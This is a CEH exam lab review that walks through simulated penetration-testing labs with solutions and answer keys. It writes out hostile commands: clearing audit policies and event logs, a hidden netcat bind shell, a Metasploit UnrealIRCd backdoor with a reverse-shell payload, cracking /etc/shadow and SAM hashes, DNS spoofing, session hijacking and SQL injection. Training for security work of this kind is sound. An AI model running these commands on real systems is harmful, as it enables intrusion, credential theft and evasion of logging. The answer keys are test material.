CEH exam two lab review

8.4.6 Clear audit policies You are a cybersecurity consultant and have been asked to work with the ACME, Inc. company to ensure their network is protected from hackers. As part of the tests, you need to disable logging on a Windows system. In this lab, your task is to use Windows PowerShell (as Admin) to: View the current audit policies on the system. Disable all audit policies. Confirm that all the audits were disabled.

Solution 1. Right-click Start and select Windows PowerShell (Admin). 2. Maximize the window for easier viewing. 3. At the command prompt, type auditpol /get /category:* and press Enter to view the current audit policies. Notice the different settings used for each system. 4. Type auditpol /clear /y and press Enter to disable all audit policies. 5. Type auditpol /get /category:* and press Enter to confirm that the audits were disabled. Notice that all of the polices are now set to No Auditing.

11.3.6 Create a Honeypot with Pentbox

You are the IT security administrator for a small corporate network. You are concerned about unauthorized activity in your DMZ, so you decide to set up a honeypot to study hacking attempts. In this lab, your task is to: Use Pentbox to create a honeypot on www_stage. Test the honeypot on Consult-Lap using www_stage.corpnet.xyz in Chrome. Verify the intrusion on www_stage. Answer the questions.

10.2.8 Capture HTTP POST Packets with Wireshark

You are the cybersecurity specialist for your company. You need to check to see if any clear text passwords are being exposed to hackers through an HTTP login request. In this lab, your task is to analyze HTTP POST packets as follows: Use Wireshark to capture all packets. Filter the captured packets to show only HTTP POST data. Examine the packets captured to find clear text passwords. Answer the questions.

10.1.12 Analyze email traffic for sensitive data

As the IT security specialist for your company, you are performing a penetration test to verify the security of the accounting department. You are concerned that invoice emails can be captured and the information gleaned from these emails can be used to help hackers generate fake invoice requests. In this lab, your task is to: Capture packets on the enp2s0 interface using Wireshark. Find packets containing invoice emails using display filters. Check to see if the following information can be seen in clear text format in the invoice emails:Source and destination email addressesNames of those that sent or received the emails

11.2.12 Bypass Windows Firewall

You are a cybersecurity specialist. The owner of the CorpNet network has hired you to perform a penetration test. They are concerned with the safety of their firewalls. During the reconnaissance phase of your testing, you discovered a firewall with an IP address of 198.28.2.254. From outside of the CorpNet network, you decided to scan this firewall for potential weakness by running an nmap scan.

10.3.7 Analyze ICMP Traffic in Wireshark

You are the IT administrator for a small corporate network, and you want to know how to find and recognize an ICMP flood attack. You know that you can do this using Wireshark and hping3. In this lab, your task is to create and examine the results of an ICMP flood attack as follows: From Kali Linux, start a capture in Wireshark for the esp20 interface. Ping CorpDC at 192.168.0.11. Examine the ICMP packets captured. Use hping3 to launch an ICMP flood attack against CorpDC. Examine the ICMP packets captured. Answer the questions.

10.3.9 Perform a DoS Attack

As the IT administrator for a small corporate network, you want to know how to find and recognize a TCP SYN flood attack. You know you can do this using the Wireshark packet analyzer and a Linux tool named hping3. In this lab, your task is to use Wireshark to capture and analyze TCP SYN flood attacks as follows: Filter captured packets to show TCP SYN packets for the enp2s0 interface. Use hping3 to launch a SYN flood attack against rmksupplies.com using Terminal. Examine a SYN packet with the destination address of 208.33.42.28 after capturing packets for a few seconds. Answer the question.

11.2.7 Configure a Perimeter Firewall

You work as the IT security administrator for a small corporate network. You recently placed a web server in the DMZ. You need to configure the perimeter firewall on the network security appliance to allow access to the web server from the LAN and the WAN. You would also like to improve security by utilizing the attack security features provided by the firewall.

11.2.9 Perform a Decoy Scan

You work for a penetration testing consulting company. You need to make sure that you can't be identified by the intrusion detection systems. Use nmap to perform a decoy scan on CorpNet.local. In this lab, your task is to use nmap to perform a decoy scan on enp2s0 and to use Wireshark to see the results. Use Wireshark to capture packets on the enp2s0 network interface. Use nmap to perform a decoy scan targeting the 192.168.0.31 IP address using 10 random IP addresses.

10.3.10 Analyze a DDoS Attack

You are the CorpNet IT administrator. Your support team says that CorpNet's customers are unable to browse to the public-facing web server. You suspect that it might be under some sort of denial-of-service attack, possibly a TCP SYN flood attack. Your www_stage computer is on the same network segment as your web server, so you'll use this computer to investigate the problem. In this lab, your task is to: Capture packets from the network segment on www_stage using Wireshark. Analyze the attack using the following filters:tcp.flags.syn==1 and tcp.flags.ack==1tcp.flags.syn==1 and tcp.flags.ack==0 Answer the question.

10.2.6 Perform a DHCP Spoofing mitm attack

You are the IT security administrator for a small corporate network. You're experimenting with DHCP spoofing attacks using Ettercap. In this lab, your task is to complete the following: On IT-Laptop, use Ettercap to launch a man-in-the-middle DHCP spoofing attack using the following parameters:Netmask: 255.255.255.0DNS Server IP: 192.168.0.11 On Support, complete the following tasks:Start a capture in Wireshark and filter the display for DHCP traffic.View the IP address and the gateway in Terminal.Bring the network interface down and back up to request a new DHCP address.In Wireshark, how many DHCP packets were exchanged?View the IP address and gateway again. What has changed? On Office1, complete the following tasks:Use tracert to rmksupplies.com to find the path. What is the path?Check the IP address of the computer.Release and renew the IP address assigned by DHCP.Check the IP address of the computer again. What has changed?Use tracert to rmksupplies.com to find the path again. What has changed?Log in to the rmksupplies.com employee portal with the following credentials:Username: bjacksonPassword: $uper$ecret1 On IT-Laptop, find the captured username and password in Ettercap. Answer the questions.

12.3.6 Perform an SQL Injection Attack

You are the penetration tester for a small corporate network. You have decided to see how secure your online bank's web page is. In this lab, your task is to perform a simple SQL injection attack on MySecureOnlineBank.com using the following information: Make an account query for account number 90342. Perform a simple SQL attack using 0 OR 1=1. Answer the questions.

10.2.11 Hijack a Web Session

You are the IT security administrator for a small corporate network. The HR director is concerned that an employee is doing something sneaky on the company's employee portal and has authorized you to hijack his web session so you can investigate. In this lab, your task is to hijack a web session as follows: On IT-Laptop, use Ettercap to sniff traffic between the employee's computer in Office1 and the gateway. Initiate a man-in-the-middle attack to capture the session ID for the employee portal logon. On Office1, log in to the employee portal on rmksupplies.com using Chrome and the following credentials:Username: bjacksonPassword: $uper$ecret1 On IT-Laptop, copy the session ID detected in Ettercap. On Office2, navigate to rmksupplies.com and use the cookie editor plug-in in Chrome to inject the session ID cookie. Verify that you hijacked the session.

10.1.10 Poison DNS You are the IT security administrator for a small corporate network. You want to spoof the DNS to redirect traffic as part of a man-in-the-middle attack. In this lab, your task is to: Use Ettercap to begin sniffing and scanning for hosts. Set Exec (192.168.0.30) as the target machine Initiate DNS spoofing. From Exec, access rmksupplies.com.

Solution 1. Use Ettercap to begin sniffing and scanning for hosts as follows: a. From the Favorites bar, open Ettercap. b. Select Sniff. c. Select Unified sniffing. d. From the Network Interface drop-down list, select enp2s0. e. Select OK. f. Select Hosts and select Scan for hosts 2. Set Exec (192.168.0.30) as the target machine as follows: a. Select Hosts and select Host list. b. Under IP Address, select 192.168.0.30. c. Select Add to Target 1 to assign it as the target. 3. Initiate DNS spoofing as follows: a. Select Plugins. b. Select Manage the plugins. c. Select the Plugins tab. d. Double-click dns_spoof to activate it. e. Select Mitm. f. Select ARP poisoning. g. Select Sniff remote connections. h. Select OK. 4. From Exec, access rmksupplies.com as follows: a. From the top navigation tabs, select Floor 1 Overview. b. Under Executive Office, select Exec. c. From the task bar, open Chrome. d. In the URL field, type rmksupplies.com and press Enter. Notice that the page was redirected to RUS Office Supplies despite the web address not changing.

10.3.6 Perform and Analyze a SYN Flood Attack

As the IT security administrator for a small corporate network, you need to simulate a SYN flood attack using Metasploit so you can complete a penetration test. In this lab, your task is to perform and monitor a SYN flood attack using the following information: Use Zenmap to find the FTP port on CorpServer (192.168.0.10). Use Metasploit to send a SYN flood attack as follows:Remote host: 192.168.0.10Source host: 192.168.0.33Set the FTP port to match the FTP port used by CorpServer. Use Wireshark to capture the SYN flood on the enp2s0 network interface. Filter to show only TCP SYN packets. Find the MAC address of the computer causing the SYN flood. Answer the questions.

10.1.13 Analyze email traffic for sensitive data 2

As the IT security specialist for your company, you're performing a penetration test to verify email security. You are specifically concerned that the HR department may be sending employee's personally identifiable information (PII) in clear text through emails. In this lab, your task is to: Capture packets on the enp2s0 interface using Wireshark. Find packets containing the following information using display filters:Social security numbers (SSN)Birth datesDirect deposit routing numbersMother's maiden nameFavorite carFavorite movie

9.2.8 Counter malware with windows defender You recognize that the threat of malware is increasing and have implemented Windows Defender on the office computers. In this lab, your task is to configure Windows Defender as follows: Add a file exclusion for D:\Graphics\cat.jpg. Add a process exclusion for welcome.scr. Update protection definitions before performing the scan. Perform a quick scan.

1. Add a file exclusion as follows: a. In the search field on the taskbar, enter Windows Defender. b. Under Best match, select Windows Defender Security Center. c. Maximize the window for easier viewing. d. Select Virus & threat protection. e. Select Virus & threat protection settings. f. Under Exclusions, select Add or remove exclusions. g. Select the + (plus sign) next to Add an exclusion. h. From the drop-down lists, select File. i. Under This PC, select Data (D:). j. Double-click Graphics. k. Select cat.jpg. l. Select Open. 2. Add a process exclusion as follows: a. Select the + (plus sign) next to Add an exclusion. b. From the drop-down lists, select Process. c. In the Enter process name field, enter welcome.scr for the process name. d. Select Add. 3. Update protection definitions as follows: a. In the left menu, select the shield icon. b. Select Protection updates. c. Select Check for updates. 4. Perform a quick scan as follows: a. In the left menu, select the shield icon. b. Under Scan History, select Quick scan to run a quick scan now.

10.2.7 Perform an mitm attack from a remote computer

CorpNet.xyz has hired you as a penetration testing consultant. While visiting the company, you connected a small computer to the switch in the Networking Closet. This computer also functions as a rogue wireless access point. Now you are sitting in your van in the parking lot of CorpNet.xyz, where you have connected to the internal network through the rogue wireless access point. Using the small computer you left behind, you can perform remote exploits against the company. In this lab, your task is to complete the following: On Consult-Lap2, use ssh -X to connect to your rogue computer using the following parameters:IP address: 192.168.0.251Password: $uper$neaky Use Ettercap and the following parameters to launch a DHCP spoofing man-in-the-middle attack on your rogue computer and attempt to capture any unsecure passwords:Network Interface: enp2s0Netmask: 255.255.255.0DNS Server IP address: 192.168.0.11 On Exec, release and renew the IP address assigned by DHCP. Log in to the rmksupplies.com employee portal using the following credentials:Username: bjacksonPassword: $uper$ecret1 On Consult-Lap2, copy the session ID detected in Ettercap. On Consult-Lap, go to rmksupplies.com and use the cookie editor plug-in to inject the session ID cookie. Verify that you have hijacked the session.

11.2.10 Perform a Decoy Scan with Zenmap

You work for a penetration testing consulting company. You need to make sure that you can't be identified by the intrusion detection systems. In this lab, your task is to perform a decoy scan on CorpNet.local as follows: Tools: Wireshark and Zenmap Interface: enp2s0 Random IP addresses:25 IP address: 192.168.0.31

8.4.11 Hide files with OpenStego You are the IT security administrator for a small corporate network. Recently, some of your firm's proprietary data leaked online. You have been asked to use steganography to encrypt data into a file that will be shared with a business partner. The data will allow you to track the source if the information is leaked again. In this lab, your task is to use OpenStego to hide data inside a picture file as follows: Encrypt the user data found in John.txt into gear.png. Save the output file into the Documents folder as send.png. Password protect the file with NoMor3L3@ks! as the password. Confirm the functionality of the steganography by extracting the data from send.png into the Exports folder and opening the file to view the hidden user data.

Solution 1. Encrypt the user data into the file to be shared as follows: a. In the search field on the taskbar, type OpenStego. b. Under Best match, select OpenStego. c. In the Message File field, select the ellipses at the end of the field. d. Select John.txt. e. Select Open. f. In the Cover File field, select the ellipses at the end of the field. g. Select gear.png file. h. Select Open. i. In the Output Stego File field, select the ellipses at the end of the field. j. In the File name field, enter send.png. k. Select Open. 2. Password protect the file as follows: a. In the Password field, enter NoMor3L3@ks! b. In the Confirm Password field, enter NoMor3L3@ks! c. Select Hide Data. d. Select OK. 3. Extract the data and open the file as follows: a. Under Data Hiding, select Extract Data. b. In the Input Stego File field, select the ellipses. c. Select send.png file with the encryption. d. Select Open. e. In the Output Folder for Message File field, select the ellipses. f. Double-click Export to set it as the destination of the output the file. g. Click Select Folder. h. In the Password field, enter NoMor3L3@ks! as the password. i. Select Extract Data. j. Select OK. k. From the taskbar, open File Explorer. l. Double-click Documents to navigate to the folder. m. Double-click Export to navigate to the folder. n. Double-click John.txt to open the output file and verify that the decryption process was successful.

10.1.6 Spoof MAC addresses with SMAC As an IT administrator, you need to know how security breaches are caused. You know that SMAC is used for MAC spoofing, so you are going to spoof your MAC address. In this lab, your task is to complete the following: On Office2 use ipconfig /all and find the IP address and MAC address. Spoof the MAC address on ITAdmin to that of Office2 using SMAC. Refresh your MAC and IP addresses to match the target machine.

Solution 1. Find the IP address and MAC address as follows: a. Right-click Start and select Windows PowerShell (Admin). b. At the command prompt, type ipconfig /all and press Enter. c. Find the MAC address and the IP address. 2. Spoof the MAC address as follows: a. From the top navigation tabs, select Floor 1 Overview. b. Under IT Administration, select ITAdmin. c. In the search bar, type SMAC. d. Under Best match, right-click SMAC and select Run as administrator. e. In the New Spoofed Mac Address field, type 00:00:55:55:44:15 for the MAC address from Office2. f. Select Update MAC. g. Select OK to restart the adapter. 3. Refresh your MAC and IP addresses as follows: a. Right-click Start and select Windows PowerShell (Admin). b. At the command prompt, type ipconfig /all to confirm the MAC address has been updated. c. Type ipconfig /renew to update the IP address.

9.2.5 Detect open ports with nmap You are a cybersecurity expert performing a penetration test for a client. Your client is concerned that hackers may be performing port scanning on the network, hoping to find open ports that could leave the company vulnerable to attacks. In this lab, your task is to use nmap to detect open ports as follows: Scan the following network addresses:198.28.1.0/24192.168.0.0/24 Find and report any open ports, especially those susceptible to hacking attacks. Answer the questions.

Solution 1. From the Favorites bar, open Terminal. 2. At the prompt, type nmap -p- 198.28.1.0/24 and press Enter to scan for open ports on all servers located on this network. 3. Type nmap -p- 192.168.0.0/24 and press Enter to scan for open ports on all the servers located on this network. 4. In the top right, select Answer Questions. 5. Answer the questions. 6. Select Score Lab Question 1: 192.168.0.0 Question 2: 192.168.0.8, 192.168.0.10, 192.168.0.11, 192.168.0.14

9.2.6 View open ports with netstat You work for a penetration testing consulting company. During an internal penetration test, you find that VNC is being used on the network, which violates your company's security policies. It was installed to maintain access by a malicious employee. Run a scan using nmap to discover open ports on host machines to find out which host machines are using port 5900 for VNC. In this lab, your task is to complete the following: Use Zenmap to scan for open ports running VNC. Use the table below to help you identify the computer. Go to the suspect computer and uninstall VNC. From the suspect computer, run netstat to verify the ports for VNC are closed.

Solution 1. From the Favorites bar, open Zenmap. 2. In the Command field, type nmap -p 5900 192.168.0.0/24. 3. Select Scan. 4. From the results, find the computer with port 5900 open. 5. From the top navigation tabs, select Floor 1 Overview. 6. Under Support Office, select Support. 7. From the Favorites bar, open Terminal. 8. At the prompt, type netstat and press Enter to confirm the port is open on the machine. 9. Type dnf list vnc and press Enter to find the package name. 10. Type dnf erase libvncserver and press Enter. 11. Press Y and press Enter to uninstall the package. 12. Type netstat and press Enter to confirm the port has been closed on the machine.

8.4.5 Clear windows log files on server 2016 You are a cybersecurity consultant and have been asked to work with the ACME, Inc. company to ensure that their network is protected from hackers. As part of the tests, you need to clear a few log files. In this lab, your task is to use Windows PowerShell (as Admin) to clear the following event logs: Use get-eventlog to view the available event logs. Use clear-eventlog to clear the Application and System logs.

Solution 1. Right-click Start and select Windows PowerShell (Admin). 2. Maximize the window for easier viewing. 3. At the prompt, type Get-Eventlog -logname * and press Enter. In the Entries column, notice the number of entries for the logs. 4. Type Clear-Eventlog -logname Application and press Enter. 5. Type Clear-Eventlog -logname System and press Enter. 6. Type Get-Eventlog -logname * and press Enter. The log entries for Application is zero. The log entries for System is one because another event occurred between the times you cleared the log and viewed the entry list.

8.1.14 Configure account password policies You are the IT administrator for a small corporate network. You are attempting to improve the password security of the Windows 10 laptop in the Lobby. In each policy, the Explain tab provides a description of the effects of the policy to help you identify which policy to configure with which value. In this lab, your task is to use the Local Security Policy tool to configure password restrictions as follows: Passwords must be at least 10 characters long. Passwords must be changed every 30 days. New passwords cannot be the same as the previous four passwords. New passwords cannot be changed for at least two days. Passwords must contain non-alphabetical characters. Lock the user account after four incorrect logon attempts within a 30-minute period. Automatically unlock locked accounts after one hour.

Solution 1. Select Start. 2. Select Windows Administrative Tools. 3. Select Local Security Policy. 4. In the left pane, expand Account Policies. 5. Select Password Policy. 6. Double-click the policy you want to configure. 7. Configure the policy settings. 8. Click OK. 9. Repeat steps 6-8 to configure additional policies. 10. Select Account Lockout Policy. 11. Repeat steps 6-8 to configure policy settings.

8.2.6 Crack the SAM database with john the ripper As the cybersecurity specialist for your company, you're performing a penetration test. As part of this test, you're checking to see if the Security Account Manager (SAM) passwords from a Windows system can be cracked using John the Ripper. In this lab, your task is to crack the SAM passwords as follows: On Office 1, use pwdump7 to export the contents of the SAM to SAMhash.txt. This machine has already been booted into a recovery mode, allowing you to use Troubleshoot > Advanced > Command Prompt to access the SAM file. Copy the exported file to the thumb drive (g: drive) and then move the thumb drive to the IT-Laptop computer. After the thumb drive is inserted, it is automatically mounted to /media/root/ESD-USB/. On IT-Laptop, crack the password using the echo and John the Ripper commands.

Solution 1. Use pwdump7 to create a text file containing the SAM password hashes and copy the new file to the thumb drive as follows: a. From the recovery dialog, select Troubleshoot. b. Select Advanced options. c. Select Command Prompt. d. Type pwdump7 > SAMhash.txt and press Enter. e. Type copy SAMhash.txt g: and press Enter. 2. Move the thumb drive from Office 1 to the IT-Laptop computer as follows: a. From the top navigation tabs, select Office 1. b. Select the USB Thumb Drive plugged into the front of the computer. c. Drag the USB Thumb Drive to the Shelf so you can access it later in the IT Administration office. d. From the top navigation tabs, select Floor 1 Overview. e. Under IT Administration, select Hardware. f. Above IT-Laptop, select Back to switch to the back view of the laptop. g. From the Shelf, drag the USB Thumb Drive to a USB port on the laptop computer. h. Above IT-Laptop, select Front to switch to the front view of the laptop. i. On the monitor, select Click to view Linux. 3. Create a new hash file that contains the hash to be cracked as follows: a. From the Favorites bar, open Terminal. b. Type cat /media/root/ESD-USB/SAMhash.txt and press Enter. c. Type echo. d. Press the space bar. e. In the Admin line of the output, select the hash in the fourth field. Each field is separated by a colon. This is the hash value that needs to be cracked. f. Right-click the hash in the fourth field of the Admin line. Notice that the hash was pasted into the command line. g. Press the space bar. h. Type > SAMhash.txt. i. Press Enter. 4. Use John the Ripper and the new hash file to crack the password as follows: a. Type john SAMhash.txt and press Enter. b. From the output, find the Admin's password. c. In the top right, select Answer Questions. d. Answer the questions. e. Select Score Lab. Question 1: P@55word!

8.1.4 Analyze a USB keylogger attack The CEO of CorpNet.xyz has hired your firm to obtain some passwords for their company. A senior IT network administrator, Oliver Lennon, is suspected of wrongdoing and suspects he is going to be fired from the company. The problem is that he changed many of the standard passwords known to only the top executives, and now he is the only one that knows them. Your company has completed the legal documents needed to protect you and the company. With the help of a CorpNet.xyz executive, you were allowed into the IT Admin's office after hours. You unplugged the keyboard from the back of the ITAdmin computer and placed a USB keylogger into the USB, then plugged the USB keyboard into the keylogger. After a week, the company executive lets you back into the IT Admin's office after hours again. In this lab, your task is to use the keylogger to recover the changed passwords as follows: Move the keyboard USB connector to a different USB port on ITAdmin. Remove the keylogger from ITAdmin. Move the consultant laptop from the Shelf to the Workspace. Plug the keylogger into the consultant laptop's USB drive. Use the SBK key combination to toggle the USB keylogger from keylogger mode to USB flash drive mode. Open the LOG.txt file and inspect the contents. Find the olennon account's password. Find the Administrator account's password. Answer the questions.

Solution Above the computer, select Back to view the back of the computer. On the back of the computer, drag the USB Type A connector for the keyboard to another USB port on the computer. Make sure to plug the keyboard back in. On the Shelf, expand System Cases. Drag the Laptop to the Workspace. Above the laptop, select Back to view the back of the laptop. From the computer, drag the keylogger to a USB port on the laptop. Above the laptop, select Front to view the front of the laptop. On the laptop, select Click to view Windows 10. Press S + B + K to toggle from the keylogger mode to the flash drive mode. Select Tap to choose what happens with removable drives. Select Open folder to view files. Double-click LOG.txt to open the file. In the top right, select Answer Questions. Answer the questions. Select Score Lab. Question 1: P@ssw0rd Question 2: 4Lm87Qde

9.2.7 Scan for open ports from a remote computer CorpNet.xyz has hired you as a penetration testing consultant. While visiting the company, you connected a small computer to the switch in the Networking Closet. This computer also functions as a rogue wireless access point. Now you are sitting in your van in the parking lot of CorpNet.xyz, where you are connected to the internal network through the rogue wireless access point. Using the small computer you left behind, you can perform remote exploits against the company. In this lab, your task is to: Use ssh -X to connect to your rogue computer (192.168.0.251). Use 1worm4b8 as the root password. Use Zenmap on the remote computer to scan all the ports on the internal network looking for computers vulnerable to attack. Answer the question.

Solution From the Favorites bar, open Terminal. At the prompt, type ssh -X 192.168.0.251 and press Enter. For the root password, type 1worm4b8 and press Enter. You are now connected to Rogue1. Type zenmap and press Enter to launch Zenmap remotely. Zenmap is running on the remote computer, but you see the screen locally. In the Command field, type nmap -p- 192.168.0.0/24. Select Scan. From the results, find the computers with ports open that make them vulnerable to attack. In the top right, select Answer Questions. Answer the question. Select Score Lab. Question 1: 192.168.0.10, 192.168.0.14, 192.168.0.45, 192.168.0.11

10.1.11 Filter and analyze traffic with wireshark You are the IT administrator for a small corporate network. You need to find specific information about the packets being exchanged on your network using Wireshark. In this lab, your task is to: Use Wireshark to capture packets from the enp2s0 interface. Use the following Wireshark filters to isolate and examine specific types of packets:net 192.168.0.0host 192.168.0.34tcp contains password Answer the questions.

Solution 1. Begin a Wireshark capture as follows: a. From the Favorites bar, open Wireshark. b. Under Capture, select enp2s0. c. Select the blue fin to begin a Wireshark capture. 2. Apply the net 192.168.0.0 filter as follows: a. In the Apply a display filter field, type net 192.168.0.0 and press Enter. Look at the source and destination addresses of the filtered packets. b. In the top right, select Answer Questions. c. Under Lab Questions, answer question 1. 3. Apply the host 192.168.0.34 filter as follows: a. In the Apply a display filter field, type host 192.168.0.34 and press Enter. Look at the source and destination addresses of the filtered packets. b. Under Lab Questions, answer question 2. 4. Apply the tcp contains password filter as follows: a. In the Apply a display filter field, type tcp contains password and press Enter. b. Select the red box to stop the Wireshark capture. c. Locate the password in the captured packet. d. Under Lab Questions, answer question 3. e. Select Score Lab Question 1: Packets with either a source or destination address on the 192.168.0.0 network are displayed. Question 2: Packets with 192.168.0.34 in either the source or destination address are displayed. Question 3: St@y0ut!@

8.1.10 Crack a password with john the ripper You are the IT security administrator for a small corporate network. You've received a zip file that contains sensitive password-protected files. You need to access these files. The zip file is located in the home directory. In this lab, your task is to use John the Ripper to: Crack the root password on Support. Crack the password of the protected.zip file in the home directory on IT-Laptop.

Solution 1. Crack the root password on Support as follows: a. From the Favorites bar, open Terminal. b. At the prompt, type cd /usr/share/john and press Enter to change directories to the folder containing the John the Ripper password file. c. Type ls and press Enter to list the files in the directory. d. Type cat password.lst and press Enter to view the password list. This is an abbreviated list. e. Type cd and press Enter to go back to root. f. Type john /etc/shadow and press Enter to crack the Linux passwords. Notice that the root password of 1worm4b8 was cracked. g. Type john /etc/shadow and press Enter to attempt to crack the Linux passwords again. Notice that it does not attempt to crack the password again. The cracked password is already stored in the john.pot file. h. Type cat ./.john/john.pot and press Enter to view the contents of the john.pot file. i. Type john /etc/shadow --show and press Enter as an alternate method of viewing the previously cracked password. j. In the top right, select Answer Questions. k. In Terminal, find the root password and answer the question. 2. Crack the password of the protected.zip file as follows: a. From the top navigation tabs, select Floor 1 Overview. b. Under IT Administration, select IT-Laptop. c. From the Favorites bar, open Terminal. d. At the prompt, type ls and press Enter to view the contents of the home directory. Notice the protected.zip file you wish to crack. e. Type zip2john protected.zip > ziphash.txt and press Enter to copy the hashes to a text file. f. Type cat ziphash.txt and press Enter to confirm that the hashes have been copied. g. Type john --format=pkzip ziphash.txt and press Enter to crack the password. Notice that the password of p@ssw0rd was cracked. h. Type john ziphash.txt --show and press Enter to show the password. i. In the top right, select Answer Questions. j. In Terminal, find the password for the file and answer the question. k. Select Score Lab. Question 1: 1worm4b8 Question 2: p@ssw0rd

8.1.7 Crack a password with rainbow tables While doing some penetration testing for your company, you captured some password hashes. The password hashes are saved in the root user's home directory /root/captured_hashes.txt. Now you want to hack these passwords using a rainbow table. The password requirements for your company are as follows: The password must be 25 or more characters in length. The password must include at least one upper and one lowercase letter. The password must have at least one of these special characters: ! " # $ % & _ ' * @ All passwords are encrypted using a hash algorithm of either md5 or sha1. In this lab, your task is to: Create md5 and sha1 rainbow tables using rtgen. Sort the rainbow tables using rtsort. Crack the hashes using rcrack. You must run rcrack on one individual hash and run it on the hash file. Answer the question.

Solution 1. From the Favorites bar, open Terminal. 2. At the prompt, type rtgen md5 ascii-32-95 1 20 0 1000 1000 0 and press Enter to create a md5 rainbow crack table. 3. Type rtgen sha1 ascii-32-95 1 20 0 1000 1000 0 and press Enter to create a sha1 rainbow crack table. 4. Type rtsort . and press Enter to sort the rainbow table. 5. Type rcrack . -l /root/captured_hashes.txt and press Enter to crack the password contained in a hash file. 6. Type rcrack . -h hash_value and press Enter to crack the password contained in a hash. 7. In the top right, select Answer Questions. 8. Answer the questions. Question 1: 123 Question 2: MaryHad_A_Sm@ll_Lamb Question 3: DisneyL@nd3

8.3.6 Create a backdoor with Netcat You are the IT security administrator for a small corporate network. You suspect an employee is misusing a company computer by downloading copyrighted music files at work and storing them on an external drive. You notice that the employee has gone to lunch and decide to use this opportunity to set up a backdoor access and to investigate the external drive at a later time when the employee connects the drive to the computer. You begin by installing netcat on the employee's computer and adding the C:/netcat folder to the path environment variable so that it can be run outside of the folder. In this lab, your task is to: Run netcat from a PowerShell window on Office1 as follows:Execute netcat in detached mode so that it runs in the background when the command prompt window is closed.Execute netcat in listen mode.Configure netcat to listen for connections on port 2222.Configure netcat to execute cmd.exe when a connection is made. Run netcat on IT-Laptop and connect to Office1 as follows:Connect using the hostname or IP address.Connect using port 2222. Inspect the external hard drive (G: drive) for music and video files.

Solution 1. On Office1, run netcat from a PowerShell window as follows: a. Right-click Start and select Windows Powershell (Admin). b. At the prompt, type nc -dlp 2222 -e cmd.exe and press Enter to start netcat in listen mode. c. Close the PowerShell window so the employee doesn't see an open window. 2. On IT-Laptop, run netcat to connect to Office1 as follows: a. From the top navigation tabs, select Floor 1 Overview. b. Under IT Administration, select IT-Laptop. c. From the Favorites bar, open Terminal. d. At the prompt, type nc Office1 2222 and press Enter to start netcat in client mode. 3. Type dir /s g: and press Enter to inspect the G: drive.

8.1.5 Analyze a USB keylogger attack 2 Recently, the administrative assistant found a foreign device connected to the ITAdmin computer while updating some of their hardware. The device was turned over to you, and you have determined that it is a keylogger. You need to sift through the information on the keylogger to find which accounts may be compromised. In this lab, your task is to determine which corporate accounts have been compromised as follows: Plug the keylogger into ITAdmin's USB port. Use the keyboard combination of SBK to toggle the USB keylogger from keylogger mode to USB flash drive mode. Open the LOG.txt file and inspect the contents. Scan the document for corporate passwords or financial information. Answer the questions.

Solution 1. On the Shelf, expand Storage Devices. 2. From the shelf, drag the USB Keylogger to a USB port on ITAdmin. 3. On the monitor, select Click to view Windows 10. 4. Press S + B + K to toggle from the keylogger mode to the flash drive mode. 5. Select Tap to choose what happens with removable drives. 6. Select Open folder to view files. 7. Double-click LOG.txt to open the file. 8. Maximize the window for easier viewing. 9. In the top right, select Answer Questions. 10. In the file, find which account passwords were captured. 11. In the file, find any compromised financial information. 12. Select Score Lab. Question 1: email.com, amazon.com Question 2: 4556358591800117

8.3.4 Create a backdoor with metasploit You are an ethical hacker consultant working for CorpNet. They want you to discover weaknesses in their network. From outside the CorpNet network, you used Zenmap and discovered that the www_stage server located in CorpNet's DMZ is running an exploitable application named UnrealIRCd. This allows you to set up a backdoor using Metasploit. In this lab, your task is to: Create a backdoor on www_stage using Metasploit by exploiting the UnrealIRCd application using the following information:Search for Unreal exploits.Use the exploit that allows Backdoor Command Execution.Configure the remote host (RHOST) with the 198.28.1.15 IP address; the same IP address as www_stage.Set the payload to the cmd/unix/reverse payload.Verify that the local host (LHOST) was set to the 147.191.29.15 IP address (the same IP address as Consult-Lap2).Execute the exploit.Read the contents of the text file in the /root directory. Answer the question.

Solution 1. Search for UrealIRCd exploits and review the exploit information as follows: a. From the Favorites bar, open Metasploit Framework. b. At the prompt, type search Unreal and press Enter to search for any UnrealIRCd exploits. c. Type info exploit/unix/irc/unreal_ircd_3281_backdoor and press Enter to review the exploit information. Notice that RHOST is required. 2. Use the exploit/unix/irc/unreal_ircd_3281_backdoor exploit and configure the exploit's RHOST IP address as follows: a. Type use exploit/unix/irc/unreal_ircd_3281_backdoor and press Enter to use the exploit. b. Type show options and press Enter. Notice the absence of the current setting for RHOST. c. Type set RHOST 198.28.1.15 and press Enter to configure the remote host setting. d. Type show options and press Enter to confirm that RHOST is set. 3. Set the payload as follows: a. Type show payloads and press Enter to list available payloads. b. Type set payload cmd/unix/reverse and press Enter to specify the correct payload. c. Type show options and press Enter to review the exploit's configuration. Notice that LHOST is automatically set to the IP address for Consult-Lap2. 4. Execute the exploit and examine the text file in the /root directory as follows: a. Type exploit and press Enter to execute the exploit. b. Type ifconfig and press Enter to confirm that the backdoor has been established. Notice the IP address is 198.28.1.15; the same IP address as www_stage. c. Type pwd and press Enter to confirm you are in the /root directory. d. Type ls and press Enter to list the files in the /root directory. e. Type cat Staging_Features_CONFIDENTIAL.txt and press Enter to review the contents of a file that appears to contain sensitive information. 5. In the top right, select Answer Questions. 6. Answer the question. 7. Select Score Lab Question 1: Bagel Barometer